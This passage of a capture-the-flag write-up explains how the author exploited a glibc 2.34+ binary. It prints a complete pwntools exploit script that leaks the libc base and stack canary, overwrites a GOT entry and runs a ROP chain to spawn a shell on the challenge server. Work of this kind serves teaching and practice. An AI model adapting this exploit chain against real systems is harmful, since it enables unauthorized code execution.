punctuation\">.</span>decode<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>split<span class=\"token punctuation\">(</span><span class=\"token string\">\" \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span><span class=\"token number\">5</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span><span class=\"token number\">16</span><span class=\"token punctuation\">)</span>\nleaked_libc_base <span class=\"token operator\">=</span> leaked_libc_main_ret <span class=\"token operator\">-</span> <span class=\"token number\">0x029d90</span>\nleaked_canary <span class=\"token operator\">=</span> <span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">[</span><span class=\"token punctuation\">:</span>l<span class=\"token punctuation\">]</span><span class=\"token punctuation\">.</span>decode<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>split<span class=\"token punctuation\">(</span><span class=\"token string\">\" \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span><span class=\"token number\">6</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span><span class=\"token number\">16</span><span class=\"token punctuation\">)</span>\n\ntarget<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span><span class=\"token string\">b\"A\"</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x30</span><span class=\"token operator\">-</span><span class=\"token number\">0x8</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> p64<span class=\"token punctuation\">(</span>leaked_canary<span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token string\">b\"B\"</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x42</span><span class=\"token operator\">-</span><span class=\"token number\">0x30</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/9048ecc7f15c75e8a15138d27f217434/c65fa/image-20240610211903172.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 41.25%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB1klEQVQozzWRW0/iUBSFeTCZ0HsP0AKlKkUsRWypUC7CFANajeMtGV/m//+QbzZM5mFlnZyHnbW+VSv7S/bxhqek5BCXrPw7ll5+8m13xkpNuGsm2F4Lt+FhK4VyFY7ysFTr9PbcJlrDwXBtalW05nCxYBdNeQxTto0bFu6YXLsiN4ZkPyLGWp9ucM7FZZ92J8AwDWzXxHEtDFtkWejGUSa1l9uKr/k7v9JnnoY7XpI9r8kD61ZKGcxZ2GMye8g4SdhsNsSjmE7YRjUlkanJMV1cpP9T7dDfUOUH7gcFk8Y10/aYeWfEzI9J3T65/B0rB8EF0eBaPMRvB5I0RNMdNM0St6hrJrouCatuzufNA9+zio/JAy/xT56HW/aCYeul3BlyUMUMr285s8a4/g1ZeisIQly3geO4uMK12WphWcJwf7li28lZC8Pd+ZRCDqT1Aamwy/67JZ4tOFNrmuGSXbmlLEuWyyWr1YqiKIiiCNOUhF/5M3/uP/mdPfEmyT4me95EGz8ThjPm5ohcjQjCKyznHKfZo9Pr4fmBqCvVeyhZ/1RZhqm9p498F698Tis5dKA61g0LCjs5rXysfBzlMhjiewM81ZCqprDTqdfrJ2majGMYIp2/SlLhPa8wgE4AAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/9048ecc7f15c75e8a15138d27f217434/8ac56/image-20240610211903172.webp 240w,\n/static/9048ecc7f15c75e8a15138d27f217434/d3be9/image-20240610211903172.webp 480w,\n/static/9048ecc7f15c75e8a15138d27f217434/e46b2/image-20240610211903172.webp 960w,\n/static/9048ecc7f15c75e8a15138d27f217434/b2739/image-20240610211903172.webp 1434w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/9048ecc7f15c75e8a15138d27f217434/8ff5a/image-20240610211903172.png 240w,\n/static/9048ecc7f15c75e8a15138d27f217434/e85cb/image-20240610211903172.png 480w,\n/static/9048ecc7f15c75e8a15138d27f217434/d9199/image-20240610211903172.png 960w,\n/static/9048ecc7f15c75e8a15138d27f217434/c65fa/image-20240610211903172.png 1434w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/9048ecc7f15c75e8a15138d27f217434/d9199/image-20240610211903172.png\"\n            alt=\"image-20240610211903172\"\n            title=\"image-20240610211903172\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h3 id=\"collecting-rop-gadgets\" style=\"position:relative;\"><a href=\"#collecting-rop-gadgets\" aria-label=\"collecting rop gadgets permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Collecting ROP Gadgets</h3>\n<p>NX is enabled in this challenge, so we cannot directly embed code in executable memory regions.</p>\n<p>Therefore, we consider ROP as a method for abusing BoF to achieve RCE while bypassing NX.</p>\n<p>ROP typically works by constructing a ROP chain from instruction sequences ending in <code class=\"language-text\">ret</code> (called ROP Gadgets) and chaining them together.</p>\n<p>By calling the embedded ROP chain on the stack in sequence, arbitrary code can ultimately be executed.</p>\n<p>In many cases, a ROP chain attempts to obtain a shell by executing a function (such as <code class=\"language-text\">system</code>) with a specific argument loaded into a register.</p>\n<p>Particularly useful gadgets are instructions like <code class=\"language-text\">pop rdi ; ret</code> and <code class=\"language-text\">pop rsi ; ret</code>, which load values from the stack into the argument registers RDI and RSI (used in the x64 calling convention).</p>\n<p>These gadgets were previously available in the <code class=\"language-text\">__libc_csu_init</code> function, but for binaries compiled dynamically with glibc 2.34 or later (as in this challenge), <code class=\"language-text\">__libc_csu_init</code> no longer exists, so these gadgets are unavailable.</p>\n<p>In practice, compiling the same C code on environments with glibc 2.34+ vs. older versions shows that on glibc 2.34+, gadgets like <code class=\"language-text\">pop rdi ; ret</code> are absent.</p>\n<p>python -q Binary compiled on glibc &#x3C; 2.34</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/f2a5f41afd8a648e5b0b493049b737e0/71b12/image-20240612222134799.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 64.16666666666666%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB4klEQVQ4y31T127jQAz0p9y5S1YvVrdkW3FBgOT/v2ZuhpENI8jlgVjuapdTSM36KsbYZRiHGllZo8gLxEWFmHm4L7HyAixcD8udb+sjX/JcsfoWs8vY434ZcLuecR4vGNqDFfTSHG6c2rpLMsuDbI+AgBs+3LDwRoW/Ac2atkZVl0j3GU73d/TXO063O4quR9526Ahy+/hE1R8RkXF7fsNwGFCFMcoowY5A7hSbIMIsaw5I6g5ukiOamImRmORNZ6siKko7X/shAhZ2dY/hk7UU6Y5LgJku6VAbh5S3pL52dk9//jKfT/GQZvkU82k/dybJ/dsFiqxucaR/LVFjyvEIIpkeAR3uFQLYct1Smq0vueRaU0RX3ohpORzhM/fVaXZ5T4CUQGnT2rnYmAUEi2wSqmculVZQoxHykpdm9KzFko/+bBw4tMB8ZGNC+uavt4ij2IBf5b+GSZbUtGqsGSW7J/PFWEAJz4/XG2quDRlHSWryVj/M33MOVVAhysPlZoX1QQUltz2NCChpQY8WPBc7fRebHwuqkD8NsZjKXD2yQTbJB+SUnzkussmG/xX7Yth8MdRFMdKgqqAYFrRANuzUTY0UvRTg7wXlYd2Y5IQ+PeZMnSv7wQovHv/u9Kv9JvkfNgqYiQFo/JQAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/f2a5f41afd8a648e5b0b493049b737e0/8ac56/image-20240612222134799.webp 240w,\n/static/f2a5f41afd8a648e5b0b493049b737e0/d3be9/image-20240612222134799.webp 480w,\n/static/f2a5f41afd8a648e5b0b493049b737e0/e46b2/image-20240612222134799.webp 960w,\n/static/f2a5f41afd8a648e5b0b493049b737e0/5c7ba/image-20240612222134799.webp 1308w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/f2a5f41afd8a648e5b0b493049b737e0/8ff5a/image-20240612222134799.png 240w,\n/static/f2a5f41afd8a648e5b0b493049b737e0/e85cb/image-20240612222134799.png 480w,\n/static/f2a5f41afd8a648e5b0b493049b737e0/d9199/image-20240612222134799.png 960w,\n/static/f2a5f41afd8a648e5b0b493049b737e0/71b12/image-20240612222134799.png 1308w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/f2a5f41afd8a648e5b0b493049b737e0/d9199/image-20240612222134799.png\"\n            alt=\"image-20240612222134799\"\n            title=\"image-20240612222134799\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>python -q Binary compiled on glibc >= 2.34</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 832px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/33d0fd4b66d4ac348f9a50f952145bab/ef6b9/image-20240612222258852.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 7.916666666666666%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAYAAABYBvyLAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAhklEQVQI1z2LSw6CMABE2VqowZ0huqHUWqr2Y7oQP2AiKCy9/13GWhMXLzNvkklUIaHmHIIobOkeIt0FFAQ9xKxzA7UI5Dr249LjyS/o1h6P8oRr4TBUZ/Rlg541SL7ydi+M4oZ25THKDpNsMYTTVN9hqYCeMRjCoEkVsSmHzX6Y4C7b/LcPixs7QSPk1KoAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/33d0fd4b66d4ac348f9a50f952145bab/8ac56/image-20240612222258852.webp 240w,\n/static/33d0fd4b66d4ac348f9a50f952145bab/d3be9/image-20240612222258852.webp 480w,\n/static/33d0fd4b66d4ac348f9a50f952145bab/de44a/image-20240612222258852.webp 832w\"\n              sizes=\"(max-width: 832px) 100vw, 832px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/33d0fd4b66d4ac348f9a50f952145bab/8ff5a/image-20240612222258852.png 240w,\n/static/33d0fd4b66d4ac348f9a50f952145bab/e85cb/image-20240612222258852.png 480w,\n/static/33d0fd4b66d4ac348f9a50f952145bab/ef6b9/image-20240612222258852.png 832w\"\n            sizes=\"(max-width: 832px) 100vw, 832px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/33d0fd4b66d4ac348f9a50f952145bab/ef6b9/image-20240612222258852.png\"\n            alt=\"image-20240612222258852\"\n            title=\"image-20240612222258852\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>The details of these changes are well explained in the following article:</p>\n<p>Reference: <a href=\"https://hackmd.io/@t3mp/r1zt00V1j?utm_source=preview-mode&#x26;utm_medium=rec\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">glibc code reading 〜なぜ俺達のglibcは後方互換を捨てたのか〜 - HackMD</a></p>\n<p>In any case, since this challenge binary was compiled on glibc 2.34+, gadgets like <code class=\"language-text\">pop rdi ; ret</code> or <code class=\"language-text\">pop rsi ; ret</code> do not exist in the binary itself, making it non-trivial to construct a ROP chain that gets a shell.</p>\n<p>One workaround in this situation is to identify the libc version from the leaked address, then use gadgets from the shared library to form a valid ROP chain.</p>\n<p>In practice, searching the library file already extracted from the container — used by the challenge server — reveals many gadgets useful for key operations.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/3b7e771443d6c77f50163ecfabcd1b09/4ad3a/image-20240612223621000.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 22.083333333333332%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA80lEQVQY04WPXU+CABSGucmsLmpufdkXiLRUQFARhQRxTEzGVDZya631///E06m1ddnFu51zdvac8ygz1SM2JizaAemDT3LlEDS6eGcdRqcdPIlz3MaqqViHGuaBivld//ZWvYVd1+nLTv9IRyn8Ffk446W/oHQzdnbKsjUl1aYs2yGJOiG+8wguHULJXOqoOSC6GRJfu4TnFr4cHQpsdGKgfKZ7XicFu8HqJ1uBvkclb+GWvcwrZ0nZSygeZ6RNl7UekNyPiW9HxBc2YaMnwKc/4EdSUY1zNt05pXyXGc/kRsha9YlFfyoqfl3DFTWz9r/yF8IDe26X+t6oAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/3b7e771443d6c77f50163ecfabcd1b09/8ac56/image-20240612223621000.webp 240w,\n/static/3b7e771443d6c77f50163ecfabcd1b09/d3be9/image-20240612223621000.webp 480w,\n/static/3b7e771443d6c77f50163ecfabcd1b09/e46b2/image-20240612223621000.webp 960w,\n/static/3b7e771443d6c77f50163ecfabcd1b09/b2d4b/image-20240612223621000.webp 1152w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/3b7e771443d6c77f50163ecfabcd1b09/8ff5a/image-20240612223621000.png 240w,\n/static/3b7e771443d6c77f50163ecfabcd1b09/e85cb/image-20240612223621000.png 480w,\n/static/3b7e771443d6c77f50163ecfabcd1b09/d9199/image-20240612223621000.png 960w,\n/static/3b7e771443d6c77f50163ecfabcd1b09/4ad3a/image-20240612223621000.png 1152w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/3b7e771443d6c77f50163ecfabcd1b09/d9199/image-20240612223621000.png\"\n            alt=\"image-20240612223621000\"\n            title=\"image-20240612223621000\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>So I’ll gather gadgets from this library file that can be used in the ROP chain.</p>\n<p>One of the most typical and simple ROP chains looks like this:</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">payload <span class=\"token operator\">+=</span> flat<span class=\"token punctuation\">(</span>\n    pop_rdi_ret,\n    binsh_addr,\n    system_addr\n<span class=\"token punctuation\">)</span></code></pre></div>\n<p>Using a tool like ropr, we can easily extract the gadgets needed for this ROP chain from the library file:</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\">pop_rdi_ret <span class=\"token operator\">=</span> leaked_libc_base <span class=\"token operator\">+</span> <span class=\"token number\">0x1bbea1</span>\nbinsh_addr <span class=\"token operator\">=</span> leaked_libc_base <span class=\"token operator\">+</span> <span class=\"token number\">0x1d8678</span>\nret <span class=\"token operator\">=</span> leaked_libc_base <span class=\"token operator\">+</span> <span class=\"token number\">0x1bc065</span>\nsystem_addr <span class=\"token operator\">=</span> leaked_libc_base <span class=\"token operator\">+</span> <span class=\"token number\">0x50d70</span></code></pre></div>\n<h3 id=\"working-around-input-constraints\" style=\"position:relative;\"><a href=\"#working-around-input-constraints\" aria-label=\"working around input constraints permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Working Around Input Constraints</h3>\n<p>However, the problem here is that <code class=\"language-text\">go</code> limits input to 0x42 bytes.</p>\n<p>Since Canary plus Saved RBP takes up 0x30+0x8 bytes, there are only 10 bytes of space left for BoF — not nearly enough to embed a ROP chain.</p>\n<p>So we need to find a way to work around the input constraint.</p>\n<p>In this case, <code class=\"language-text\">go</code>’s BoF can only execute a single ROP gadget.</p>\n<p>Options include finding a gadget that can directly spawn a shell (like OneGadget RCE), or allocating a sufficiently large buffer elsewhere and jumping into it.</p>\n<p>As already confirmed, the GOT override causes <code class=\"language-text\">go</code> to be called again whenever the Canary is corrupted.</p>\n<p>Using this, the stack frame of the previous <code class=\"language-text\">go</code> invocation can serve as storage for the ROP chain:</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token operator\">|</span> <span class=\"token variable\">$RBP</span>-0x30 <span class=\"token operator\">|</span>\n<span class=\"token operator\">|</span> <span class=\"token variable\">$RBP</span>-0x28 <span class=\"token operator\">|</span>\n<span class=\"token operator\">|</span> <span class=\"token variable\">$RBP</span>-0x20 <span class=\"token operator\">|</span>\n<span class=\"token operator\">|</span> <span class=\"token variable\">$RBP</span>-0x18 <span class=\"token operator\">|</span>\n<span class=\"token operator\">|</span> <span class=\"token variable\">$RBP</span>-0x10 <span class=\"token operator\">|</span>\n<span class=\"token operator\">|</span> <span class=\"token variable\">$RBP</span>-0x8  <span class=\"token operator\">|</span> <span class=\"token operator\">&lt;</span>- Canary\n<span class=\"token operator\">|</span> <span class=\"token variable\">$RBP</span>-0x0  <span class=\"token operator\">|</span> <span class=\"token operator\">&lt;</span>- Saved RBP\n<span class=\"token operator\">|</span> <span class=\"token variable\">$RBP</span>+0x8  <span class=\"token operator\">|</span> <span class=\"token operator\">&lt;</span>- Return Address\n<span class=\"token operator\">|</span> <span class=\"token variable\">$RBP</span>+0x10 <span class=\"token operator\">|</span> <span class=\"token operator\">&lt;</span>- Previous go<span class=\"token string\">'s $RBP-0x30 (only 2 bytes can overflow here)\n| $RBP+0x18 | &lt;- Previous go'</span>s <span class=\"token variable\">$RBP</span>-0x28</code></pre></div>\n<p>The one hurdle is that when embedding a ROP gadget into the Return Address via BoF, the 2 bytes at the next stack location (previous <code class=\"language-text\">go</code>’s <code class=\"language-text\">$RBP-0x30</code>) will be corrupted.</p>\n<p>Because of this corruption, we need a way to skip over the problematic <code class=\"language-text\">$RBP+0x10</code> stack entry when executing the ROP chain embedded in the previous <code class=\"language-text\">go</code>’s stack frame.</p>\n<p>For example, in this binary, executing a gadget containing an appropriate <code class=\"language-text\">pop</code> instruction allows us to remove that stack entry from the top of the stack, after which we can execute the ROP chain embedded at <code class=\"language-text\">$RBP+0x18</code> and beyond — effectively bypassing the constraint.</p>\n<h3 id=\"solution-2-get-a-shell-with-rop\" style=\"position:relative;\"><a href=\"#solution-2-get-a-shell-with-rop\" aria-label=\"solution 2 get a shell with rop permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Solution 2: Get a Shell with ROP</h3>\n<p>Using this approach to work around the input constraint and execute the ROP chain from <code class=\"language-text\">$RBP+0x18</code> onward, I prepared the following payload:</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">from</span> pwn <span class=\"token keyword\">import</span> <span class=\"token operator\">*</span>\n\n<span class=\"token comment\"># Set context</span>\n<span class=\"token comment\"># context.log_level = \"debug\"</span>\ncontext<span class=\"token punctuation\">.</span>arch <span class=\"token operator\">=</span> <span class=\"token string\">\"amd64\"</span>\ncontext<span class=\"token punctuation\">.</span>endian <span class=\"token operator\">=</span> <span class=\"token string\">\"little\"</span>\ncontext<span class=\"token punctuation\">.</span>word_size <span class=\"token operator\">=</span> <span class=\"token number\">64</span>\n\n<span class=\"token comment\"># Set target</span>\nTARGET_PATH <span class=\"token operator\">=</span> <span class=\"token string\">\"./og\"</span>\nelf <span class=\"token operator\">=</span> context<span class=\"token punctuation\">.</span>binary <span class=\"token operator\">=</span> ELF<span class=\"token punctuation\">(</span>TARGET_PATH<span class=\"token punctuation\">)</span>\n\ntarget <span class=\"token operator\">=</span> remote<span class=\"token punctuation\">(</span><span class=\"token string\">\"challs.actf.co\"</span><span class=\"token punctuation\">,</span> <span class=\"token number\">31312</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># Exploit</span>\n<span class=\"token comment\"># First stage</span>\ntarget<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">b\"Enter your name: \"</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\"># payload = b\"%64c%11$hn%4438c%10$hn%15$p\" + b\"\\x90\"*5 + p64(0x404018) + p64(0x40401a)</span>\npayload <span class=\"token operator\">=</span> <span class=\"token string\">b\"%15$p %33$pAAAAA\"</span> <span class=\"token operator\">+</span> fmtstr_payload<span class=\"token punctuation\">(</span>offset<span class=\"token operator\">=</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> numbwritten<span class=\"token operator\">=</span><span class=\"token number\">38</span><span class=\"token punctuation\">,</span> writes<span class=\"token operator\">=</span><span class=\"token punctuation\">{</span>elf<span class=\"token punctuation\">.</span>got<span class=\"token punctuation\">[</span><span class=\"token string\">\"__stack_chk_fail\"</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">:</span><span class=\"token number\">0x401196</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>write_size<span class=\"token operator\">=</span><span class=\"token string\">\"short\"</span><span class=\"token punctuation\">)</span>\ntarget<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span>payload<span class=\"token punctuation\">)</span>\n\nr <span class=\"token operator\">=</span> target<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">b\"Enter your name: \"</span><span class=\"token punctuation\">)</span>\nl <span class=\"token operator\">=</span> <span class=\"token builtin\">len</span><span class=\"token punctuation\">(</span><span class=\"token string\">b\"Gotta go. See you around, 0x7ffff7dafd90 0x952782961e0ba900\"</span><span class=\"token punctuation\">)</span>\nleaked_libc_main_ret <span class=\"token operator\">=</span> <span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">[</span><span class=\"token punctuation\">:</span>l<span class=\"token punctuation\">]</span><span class=\"token punctuation\">.</span>decode<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>split<span class=\"token punctuation\">(</span><span class=\"token string\">\" \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span><span class=\"token number\">5</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span><span class=\"token number\">16</span><span class=\"token punctuation\">)</span>\nleaked_libc_base <span class=\"token operator\">=</span> leaked_libc_main_ret <span class=\"token operator\">-</span> <span class=\"token number\">0x029d90</span>\nleaked_canary <span class=\"token operator\">=</span> <span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">[</span><span class=\"token punctuation\">:</span>l<span class=\"token punctuation\">]</span><span class=\"token punctuation\">.</span>decode<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>split<span class=\"token punctuation\">(</span><span class=\"token string\">\" \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span><span class=\"token number\">6</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span><span class=\"token number\">16</span><span class=\"token punctuation\">)</span>\n\npop_rdi_ret <span class=\"token operator\">=</span> leaked_libc_base <span class=\"token operator\">+</span> <span class=\"token number\">0x1bbea1</span>\nbinsh_addr <span class=\"token operator\">=</span> leaked_libc_base <span class=\"token operator\">+</span> <span class=\"token number\">0x1d8678</span>\nret <span class=\"token operator\">=</span> leaked_libc_base <span class=\"token operator\">+</span> <span class=\"token number\">0x1bc065</span>\nsystem_addr <span class=\"token operator\">=</span> leaked_libc_base <span class=\"token operator\">+</span> <span class=\"token number\">0x50d70</span>\n\n<span class=\"token comment\"># Second stage</span>\npayload <span class=\"token operator\">=</span> flat<span class=\"token punctuation\">(</span>\n    <span class=\"token string\">b\"A\"</span><span class=\"token operator\">*</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span>\n    pop_rdi_ret<span class=\"token punctuation\">,</span>\n    binsh_addr<span class=\"token punctuation\">,</span>\n    ret<span class=\"token punctuation\">,</span>\n    system_addr<span class=\"token punctuation\">,</span>\n    <span class=\"token string\">b\"B\"</span><span class=\"token operator\">*</span><span class=\"token number\">0x10</span>\n<span class=\"token punctuation\">)</span>\ntarget<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span>payload<span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># Third stage</span>\ntarget<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">b\"Enter your name: \"</span><span class=\"token punctuation\">)</span>\npayload <span class=\"token operator\">=</span> flat<span class=\"token punctuation\">(</span>\n    <span class=\"token string\">b\"A\"</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x30</span><span class=\"token operator\">-</span><span class=\"token number\">0x8</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>\n    leaked_canary<span class=\"token punctuation\">,</span>\n    <span class=\"token string\">b\"B\"</span><span class=\"token operator\">*</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span>\n    pop_rdi_ret\n<span class=\"token punctuation\">)</span>\ntarget<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span>payload<span class=\"token punctuation\">)</span>\n\ntarget<span class=\"token punctuation\">.</span>clean<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\ntarget<span class=\"token punctuation\">.</span>interactive<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>In the First stage, the libc base address and Canary are leaked.</p>\n<p>In the Second stage, a ROP chain is embedded in the region at <code class=\"language-text\">$RBP-0x28</code> and beyond, and the Canary is intentionally corrupted.</p>\n<p>In the Third stage, <code class=\"language-text\">pop rdi; ret</code> is used as the single embeddable ROP gadget to remove <code class=\"language-text\">$RBP+0x10</code> from the stack top, then the ROP chain embedded at <code class=\"language-text\">$RBP-0x28</code> and beyond is executed to obtain a shell.</p>\n<p>This successfully obtained the shell and the Flag using ROP.</p>\n<h2 id=\"other-rop-techniques\" 